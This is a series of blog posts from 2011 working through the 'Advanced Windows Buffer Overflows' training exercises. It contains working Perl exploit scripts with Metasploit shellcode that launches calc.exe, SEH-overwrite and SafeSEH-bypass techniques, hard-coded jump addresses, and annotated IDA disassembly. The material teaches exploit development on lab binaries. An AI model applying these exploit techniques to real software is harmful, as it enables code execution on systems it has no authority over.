Saturday, July 16, 2011

Advanced Windows Buffer Overflows: awbo4

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$buf = "B" x 128;              # 128 bytes of filler

$buf .= "\x8b";                 # overwrite count so it points to ret

$buf .= "\x78\x43\xf8\x77";     # jmp ecx from ntdll.dll

$buf .= "A";                    # "A" so that the ret branch is taken

$buf .= "A" x 27;               # 27 bytes of filler

$buf .= $shellcode;             # shellcode

print $buf;

Here are my notes on IDA's output.
...

loc_401011:
mov     eax, stru_406030._cnt   ; copy cnt from a structure into eax--buf count
sub     eax, 1                  ; subtract 1 from it
mov     stru_406030._cnt, eax   ; copy it back to the structure
cmp     stru_406030._cnt, 0     ; compare cnt against 0
jl      short loc_40104B        ; if cnt is less than 0, jump to loc_40104B
mov     ecx, stru_406030._ptr   ; copy pointer to buf into ecx
movsx   edx, byte ptr [ecx]     ; copy what ecx points to into edx
and     edx, 0FFh               ; mask off everything except lsb--character from buf
mov     [ebp+var_8C], edx       ; copy character to ebp-140
mov     eax, stru_406030._ptr   ; copy pointer to buf into eax
add     eax, 1                  ; add 1 to it
mov     stru_406030._ptr, eax   ; copy it back to structure
jmp     short loc_40105E        ; jump to loc_40105E

loc_40104B:             ; FILE *
push    offset stru_406030      ; push a pointer to a FILE structure onto the stack
call    __filbuf                ; call filbuf() -- takes input from stdin and writes it to a buffer in the data section?
add     esp, 4                  ; clean up function parameters
mov     [ebp+var_8C], eax       ; copy return value--first character of buf--to ebp-140

loc_40105E:
mov     cl, byte ptr [ebp+var_8C]       ; copy ebp-140 into low order byte of ecx--character to copy from data section to stack
mov     [ebp+var_4], cl                 ; copy low order byte of ecx to ebp-4
movsx   edx, [ebp+var_4]                ; copy and sign extend? ebp-4 to edx
cmp     edx, 41h                        ; compare edx to 0x41 ("A")
jz      short loc_40108D                ; if edx equals "A", jump to loc_40108D--return path
mov     eax, [ebp+var_8]                ; copy ebp-8 into eax--counter on stack
and     eax, 0FFh                       ; mask off everything except lsb
mov     cl, [ebp+var_4]                 ; copy ebp-4 into lsb of ecx
mov     [ebp+eax+var_88], cl            ; copy lsb of ecx to the stack based on ebp + counter in eax - 88
mov     dl, byte ptr [ebp+var_8]        ; copy counter in ebp-8 into lsb edx
add     dl, 1                           ; add 1 to counter
mov     byte ptr [ebp+var_8], dl        ; copy it back to ebp-8
jmp     short loc_401011                ; jump back to loc_401011

loc_40108D: -- return path

...

retn                            ; gimme your calc.exe
_main endp

awbo4 calls a function, filebuf(), that takes input from stdin and writes it somewhere in data land.

Then it loops through this buffer testing each character against 'A'. If an 'A' is seen, it breaks out of the loop and main returns, else it copies the character onto the stack. Fortunately for me, it just blindly copies characters to the stack without bounds checking.

There's an additional counter on the stack at ebp-8, that controls where on the stack the next character is written. This counter itself, can be overwritten. If this counter is carefully overwritten, it lets me overwrite main()'s saved return address

On return, ECX conveniently points to a piece of the input buffer, letting a call ecx instruction execute some shellcode.

Sunday, July 3, 2011

Advanced Windows Buffer Overflows: awbo3, XP

#!/usr/bin/perl

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "\x90" x (1024 - length($shellcode));
$filler2 = "A" x (1084 - length($filler) - length($shellcode));

$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x0b\x0b\x27\x00"; # call dword ptr[ebp+30] from unicode.nls no safeseh, outside of loaded modules
$jmp = "\xe9\x70\xfe\xff\xff"; # jmp back 400 bytes

print $filler . $shellcode . $filler2 . $nseh . $seh . $jmp;

I need to think harder on this one. I was able to get calc.exe to execute, but an exception somewhere in the shellcode causes another calc.exe to launch, and so on...

The version above is heavily based on Corelan's stuff. They do a better job of explaining Windows XP SP2's SafeSEH protections and how to bypass them.

One of the SafeSEH bypasses is to use a address in a module that hasn't been loaded into the program. For example, unicode.nls is accessible in awbo3.exe's address space, but is not loaded into the program. More importantly, unicode.nls contains a "call dword ptr[ebp+30]" instruction--similar to a "pop, pop, ret" for placing the next SEH record into EIP.

The Next SEH record still contains a "jmp 06" instruction to get me over the rest of the record.

There isn't enough space after the SEH record to hold the shellcode. In addition, some funny corruption was happening in my tests in that area. Instead, I put a large NOP slide and the shellcode in the buffer, then placed a "jmp -400" after the SEH record to get there.

Saturday, July 2, 2011

Advanced Windows Buffer Overflows: awbo2 Redux

While working on awbo3 and realizing it was the same exploit I crafted for awbo2, I decided to go back and think harder. Here is a direct saved EIP overwrite exploit.

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "A" x 1024;
$addr = "\x00" x 4;
$ebp = "B" x 4;
$eip = "\x8b\x94\xf8\x77"; # jmp esp from ntdll.dll
$nops = "\x90" x 4;

print $filler . $addr . $ebp . $eip . $nops . $shellcode;

It turns out that a printf("blah: %s", NULL) doesn't cause an exception. This lets me overwrite the saved buffer address on the stack with four \x00s and continue on my way to EIP.

On return from main, ESP points to a place where I can properly stick the shellcode.

Advanced Windows Buffer Overflows: awbo3, Win2k

awbo3.

#!/usr/bin/perl

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";


$filler = "A" x 1024;
$addr = "\x00" x 4;
$cookie = "C" x 4;
$filler2 = "D" x (1084 - length($filler) - length($cookie) - length($addr));

$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x57\x19\xe8\x77" ; # pop pop ret from kernel32.dll
$nops = "\x90\x90\x90\x90";

print $filler . $addr . $cookie . $filler2 . $nseh . $seh . $nops . $shellcode;

IDA output with what I think's going on.

; function prologue
push ebp
mov ebp, esp

; set aside 1036 bytes of stack space for a buffer
sub esp, 1036

...

; dword_406030 is out in .data land and contains 00 0A 0D 20 (NULL \n \r ' ')
; move it to eax then to ebp-8
mov eax, dword_406030
mov [ebp-8], eax

; byte_406034 is out in .data land and contains 00 00
; move it to lsb of ecx and also ebp-4
; NULL terminates buffer, is my guess
mov cl, byte_406034
mov [ebp-4], cl

int 3 ; Trap to Debugger

; load address of buffer into edx
lea edx, [ebp-1036]

; save this address to ebp-12
mov [ebp-12], edx

; load address of buffer into eax, push to stack, and call gets()
lea eax, [ebp-1036]
push eax ; char *
call _gets

; clean up stack
add esp, 4

; copy saved buffer address into ecx, push to stack, push format string to stack and call printf(),
mov ecx, [ebp-12]
push ecx
push offset aYouSentMeS ; "You sent me: %s"
call _printf

; clean up stack
add esp, 8

; push 4 onto the stack
push 4 ; size_t

; unk_406048 is in .data land and points to 00 0A 0D 20 (NULL \n \r ' ')
push offset unk_406048 ; void *

; load address of saved "00 0A 0D 20" cookie from ebp-8 into edx and push to stack
lea edx, [ebp-8]
push edx ; void *

; call memcmp()
call _memcmp

; clean up stack
add esp, 12

; set CFLAGs to outcome of memcmp()
test eax, eax

; jmp if equals 0 (return value of memcmp is 0 for true)
jz short loc_40107C

; if memcmp does not equal 0
; push format string onto stack and call printf()
push offset aFail_ ; "Fail.\n"
call _printf

; clean up stack
add esp, 4

; push 4 onto stack
push 4

; push "AAAA" onto stack
push offset aAaaa ; "AAAA"

; push 0 onto stack
push 0

; memcpy(0, "AAAA", 0) causes a access violation--writing to NULL
call _memcpy

; should never get here
; clean up stack
add esp, 12

; memcmp equals 0
loc_40107C: ; CODE XREF: _main+5C^Xj

...

; return
retn

I can't use a direct saved EIP overwrite here because it would require my input to contain a "\x20\x0d\x0a\x00" (' ' \n \r NULL). The newline character will cause gets() to stop reading from stdin and I won't be able to properly overwrite EIP.

If I overwrite this "stack cookie" with whatever, memcmp will return non-zero and execution will take the failure path. In this failure path there is a memcpy(0, "AAAA", 4) which will cause a write attempt to NULL, causing an exception.

The exception allows me to use a SEH exploit, similar to awbo2.

Advanced Windows Buffer Overflows: awbo2

awbo2.exe.

#!/usr/bin/perl -w

# windows/exec - 121 bytes
# http://www.metasploit.com
# EXITFUNC=seh, CMD=calc.exe
$shellcode = "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$filler = "A" x 1076;
$nseh = "\xeb\x06\x90\x90"; # jmp 6
$seh = "\x57\x19\xe8\x77"; # pop pop ret from kernel32.dll
$nops = "\x90\x90\x90\x90";

print $filler . $nseh . $seh . $nops . $shellcode;

main() sets aside 1028 (404h) bytes for a buffer, calls gets(), then printf(). Here is a snippet of IDA output:

; function prologue
push ebp
mov ebp, esp

; set aside 1028 bytes for a buffer
sub esp, 404h

...

; load address of the buffer into eax
lea eax, [ebp+var_404]

; copy this address to ebp-4, which is also buffer[1024]
mov [ebp+var_4], eax

; load address of the buffer into ecx
lea ecx, [ebp+var_404]

; push ecx onto the stack
push ecx

; call gets()
call _gets

; clean up stack after gets()
add esp, 4

; move the address from ebp-4/buffer[1024] into edx
mov edx, [ebp+var_4]

; push edx onto the stack
push edx

; push format string onto the stack
push offset aYouSentMeS ; "You sent me: %s"

; call printf()
call _printf

On my way to overwriting main's saved EIP, I overwrite the address of buffer which is placed at ebp-4/buffer[1024]. This turn's the printf into something like

printf("blah %s", *0x41414141);

which causes an exception and the program to exit. I couldn't figure out a proper value to overwrite this saved address with to allow main to return and since I have an exception to work with, I tried a SEH based exploit.

Using Metasploit's pattern_create.rb and pattern_offset.rb I was able to determine that the first SEH record could be overwritten with 1084 bytes--next SEH record starts at 1076 and the handler function pointer starts at 1080.

Following the generic SEH exploit template, I overwrote the handler's function pointer with an address to a pop/pop/ret series of instructions in kernel32.dll which causes the contents of the next SEH record pointer to be placed in EIP and executed. In the next SEH record pointer, I placed a jmp 6 instruction to jump over the rest of the next SEH record pointer+SEH handler to a small NOP slide and shellcode.

Friday, July 1, 2011

Advanced Windows Buffer Overflows: awboprimer

Thanks to Joel Esler of VRT for helping me get on the right track, environment wise.

If a just-in-time debugger hasn't been configured, an int 3 instruction (trap debugger) prevents the executable from running in a cmd.exe shell.

Configuring Immunity Debugger as the just-in-time debugger via the Win2k Registry:

In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

Set "Debugger" to

"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" -AEDEBUG %ld %ld

I used hexedit to change the 0xCC instruction to a 0x90 so that I could run it without the debugger kicking in.

awboprimer. My introduction to buffer overflows on Windows.
#!/usr/bin/perl

$shellcode = "\x81\xec\x00\x01\x00\x00\xfc\xe8\x44\x00\x00" .
"\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01" .
"\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" .
"\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2" .
"\xeb\xf4\x3b\x54\x24\x04\x75\xe5\x8b\x5f\x24\x01\xeb\x66" .
"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89" .
"\x5c\x24\x04\xc3\x5f\x31\xf6\x60\x56\x64\x8b\x46\x30\x8b" .
"\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\x89\xf8\x83\xc0\x6a" .
"\x50\x68\xf0\x8a\x04\x5f\x68\x98\xfe\x8a\x0e\x57\xff\xe7" .
"\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

$header = "AAAx";
$nops = "\x90" x 20;
$eip = "\xf4\x55\xed\x77"; # jmp eax
$filler = "A" x (256-length($shellcode)-length($nops));

print $header . $nops . $shellcode . $filler . $eip;

main() declares a 256 byte buffer on the stack, then calls gets(). If buffer[3] does not equal 'x', exit() is called--preventing a return from main.

264 bytes of input lets me overwrite EIP.

When main returns, ESP points to right after where main's saved EIP was. I thought I could place the shellcode here and overwrite EIP with a JMP ESP address to get there, but there wasn't enough space for the shellcode.

Looking at the other registers, EAX points to the beginning of the gets() buffer. Fortunately, the "AAAx" header turned into NOP instructions and there was enough space to put all the shellcode.

The NOPs before the shellcode were added to fix some instruction alignment issues when the shellcode executes.